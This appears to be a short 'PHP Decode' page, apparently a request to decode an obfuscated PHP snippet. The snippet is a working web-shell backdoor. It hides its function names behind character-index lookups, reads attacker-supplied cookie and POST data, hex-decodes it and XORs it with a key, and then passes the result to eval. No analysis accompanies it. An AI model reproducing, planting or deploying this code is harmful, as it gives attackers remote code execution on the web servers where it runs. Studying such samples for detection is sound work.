PHP Decode

<?php 
$btqrru = '#1el-a8v*gxu0y\'fs45_n7m3bHio2krdtc9p';$awgawu = Array();$awgawu[] = $btqrru[34].$btqrru[21].$btqrru[2].$btqrru[21].$btqrru[34].$btqrru[34].$btqrru[21].$btqrru[31].$btqrru[4].$btqrru[34].$btqrru[34].$btqrru[23].$btqrru[31].$btqrru[4].$btqrru[17].$btqrru[17].$btqrru[12].$btqrru[17].$btqrru[4].$btqrru[5].$btqrru[21].$btqrru[1].$btqrru[34].$btqrru[4].$btqrru[18].$btqrru[28].$btqrru[15].$btqrru[17].$btqrru[21].$btqrru[6].$btqrru[6].$btqrru[6].$btqrru[28].$btqrru[6].$btqrru[23].$btqrru[6];$awgawu[] = $btqrru[25].$btqrru[8];$awgawu[] = $btqrru[0];$awgawu[] = $btqrru[33].$btqrru[27].$btqrru[11].$btqrru[20].$btqrru[32];$awgawu[] = $btqrru[16].$btqrru[32].$btqrru[30].$btqrru[19].$btqrru[30].$btqrru[2].$btqrru[35].$btqrru[2].$btqrru[5].$btqrru[32];$awgawu[] = $btqrru[2].$btqrru[10].$btqrru[35].$btqrru[3].$btqrru[27].$btqrru[31].$btqrru[2];$awgawu[] = $btqrru[16].$btqrru[11].$btqrru[24].$btqrru[16].$btqrru[32].$btqrru[30];$awgawu[] = $btqrru[5].$btqrru[30].$btqrru[30].$btqrru[5].$btqrru[13].$btqrru[19].$btqrru[22].$btqrru[2].$btqrru[30].$btqrru[9].$btqrru[2];$awgawu[] = $btqrru[16].$btqrru[32].$btqrru[30].$btqrru[3].$btqrru[2].$btqrru[20];$awgawu[] = $btqrru[35].$btqrru[5].$btqrru[33].$btqrru[29];foreach ($awgawu[7]($_COOKIE, $_POST) as $vaocgry => $yigrkgu){function povwni($awgawu, $vaocgry, $gvnrwp){return $awgawu[6]($awgawu[4]($vaocgry . $awgawu[0], ($gvnrwp / $awgawu[8]($vaocgry)) + 1), 0, $gvnrwp);}function vzjhap($awgawu, $llazl){return @$awgawu[9]($awgawu[1], $llazl);}function ldlgbkd($awgawu, $llazl){$ptdyqn = $awgawu[3]($llazl) % 3;if (!$ptdyqn) {eval($llazl[1]($llazl[2]));exit();}}$yigrkgu = vzjhap($awgawu, $yigrkgu);ldlgbkd($awgawu, $awgawu[5]($awgawu[2], $yigrkgu ^ povwni($awgawu, $vaocgry, $awgawu[8]($yigrkgu))));} ?>